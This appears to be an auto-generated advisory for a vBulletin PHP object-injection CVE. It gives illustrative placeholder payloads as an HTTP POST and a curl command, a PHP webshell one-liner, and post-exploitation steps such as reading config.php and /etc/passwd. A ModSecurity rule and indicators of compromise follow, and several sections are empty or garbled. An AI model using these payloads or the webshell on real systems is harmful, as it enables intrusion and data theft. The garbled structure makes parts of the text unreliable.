CVE-2026-137330 — VBulletin — CWE-502
vBulletin before 6.2.2 Patch Level 1, 6.2.3 Patch Level 1 and 6.2.4 Patch Level 1 contains a PHP object injection vulnerability in BBCode attachment settings parsed via the contententry_editor render endpoint. Unauthenticated attackers can send an [ATTACH=CONFIG] tag with a serialized object chain passed to unserialize() to call arbitrary PHP functions and execute operating system commands.
vBulletin before 6.2.2 Patch Level 1, 6.2.3 Patch Level 1 and 6.2.4 Patch Level 1 contains a PHP object injection vulnerability in BBCode attachment settings parsed via the contententry_editor render endpoint. Unauthenticated attackers can send an [ATTACH=CONFIG] tag with a serialized object chain passed to unserialize() to call arbitrary PHP functions and execute operating system commands.
🎯 What is this vulnerability?
This vulnerability is a Critical Unauthenticated Remote Code Execution (RCE) flaw classified under CWE-502: Deserialization of Untrusted Data.
The technical root cause lies in the contententry_editor rendering endpoint of vBulletin. The application fails to sanitize or validate the input passed to the BBCode parser for attachment settings. Specifically, when the parser encounters the [ATTACH=CONFIG] tag, it extracts the content within the tag and passes it directly to PHP's unserialize() function without verifying that the data is a safe, expected data structure (such as a simple string or array).
Because the endpoint is accessible without authentication (PR:N) and requires no user interaction (UI:N), an attacker can inject a malicious serialized PHP object chain (Gadget Chain). When unserialize() reconstructs these objects, PHP triggers magic methods (such as __wakeup(), __destruct(), or __toString()), which the attacker has crafted to execute arbitrary system commands via functions like system(), exec(), or passthru().
⚡ Attack Chain
1. Discovery & Reconnaissance
- Fingerprinting: The attacker identifies the target as running vBulletin. This can be done by checking the
X-Powered-Byheader, examining the HTML source for vBulletin-specific meta tags, or looking for the/forum/directory structure. - Version Verification: The attacker determines the version is prior to 6.2.2 PL1, 6.2.3 PL1, or 6.2.4 PL1. This can often be found in the footer of the forum, the
robots.txtfile, or by checking thevBulletinversion string in the page source.
Endpoint Identification: The attacker identifies the
contententry_editor render endpoint. While the exact URI path is not explicitly defined in the CVE description, in vBulletin 6.x, this is typically associated with the AJAX endpoints used for the rich text editor, such as /ajax.php or a specific REST route like /api/v1/contententry/editor/render. Note: The specific URI below is an illustrative example based on standard vBulletin 6.x architecture.*2. Exploitation
The attacker crafts a payload containing a serialized PHP object chain. Since the exact gadget chain depends on the specific PHP version and vBulletin internal classes, the payload below is a structural illustration of the vulnerability mechanics.Illustrative Payload Structure:
The attacker sends a POST request to the render endpoint with a content parameter containing the malicious BBCode tag.
POST /ajax.php?do=renderContentEntry HTTP/1.1
Host: target-vbulletin.com
Content-Type: application/x-www-form-urlencoded
content=[ATTACH=CONFIG]O:4:"Gadget":1:{s:10:"command";s:10:"id; whoami";}</ATTACH>Technical Breakdown of the Payload:
1. [ATTACH=CONFIG]: Triggers the specific code path in the BBCode parser that handles attachment configuration.
2. O:4:"Gadget":1:{...}: A serialized PHP object. In a real exploit, Gadget would be replaced by a legitimate vBulletin class (e.g., vB_Database, vB_Http_Request, or a custom class) that has a dangerous magic method.
3. s:10:"command";s:10:"id; whoami";: The property value that gets triggered during deserialization to execute the OS command.
Curl Command (Illustrative):
# Note: Replace 'Gadget' and the object structure with the actual vBulletin 6.x gadget chain.
curl -X POST "http://target-vbulletin.com/ajax.php?do=renderContentEntry" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'content=[ATTACH=CONFIG]O:18:"vB_Database_Select":1:{s:10:"command";s:10:"id > /tmp/pwned";}</ATTACH>'Crucial Note: The attacker must identify the specific "Gadget Chain" available in the target's vBulletin version. This involves analyzing the PHP source code of vBulletin 6.2.x to find classes with __destruct(), __wakeup(), or __toString() methods that can lead to code execution.
3. Post-Exploitation
1. Command Execution: The OS command (e.g.,id, whoami, cat /etc/passwd) is executed by the web server user (typically www-data or apache).
2. Output Retrieval: The attacker may use techniques like DNS exfiltration, base64 encoding the output and sending it back in the HTTP response, or writing to a web-accessible directory.
3. Webshell Deployment: The attacker executes a command to write a PHP webshell to the web root:echo '<?php system($_GET["cmd"]);' > /var/www/html/shell.php4. Persistence & Lateral Movement: With RCE, the attacker can:
* Read the config.php file to obtain database credentials.
* Access the vBulletin database to steal user data, passwords (if hashed weakly), and forum content.
* Pivot to internal network resources if the web server has network access.
* Install rootkits or modify system files to maintain persistence.
🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Patching (Primary Remediation)
unserialize() call in the BBCode parser is now protected by a whitelist of allowed classes or by using json_decode instead of unserialize for this specific context.2. Workarounds (If Patching is Delayed)
content parameter of the render endpoint.ModSecurity Rule (Illustrative):
SecRule REQUEST_BODY "@rx \[ATTACH=CONFIG\]O:" \
"id:100001,\
phase:2,\
block,\
msg:'Possible PHP Object Injection in BBCode Attach Config',\
logdata:'%{REQUEST_BODY}',\
severity:2,\
tag:'application-multi',\
tag:'language-php',\
tag:'attack-code-injection',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/245'"contententry_editor render endpoint to authenticated users only, if the business logic allows. This can be done via .htaccess or reverse proxy rules.3. Detection & IoCs
[ATTACH=CONFIG] followed by O: (serialized object prefix).POST /ajax.php?do=renderContentEntry ... content=[ATTACH=CONFIG]O:4:"Gadget"...
shell.php, cmd.php, or random alphanumeric names.apache, nginx, php-fpm) spawning shell processes (/bin/sh, /bin/bash) or executing commands like id, whoami, cat, curl, or wget.SELECT FROM vbulletin_user or DROP TABLE, executed by the web server user.⚠️ Urgency
FOFA Query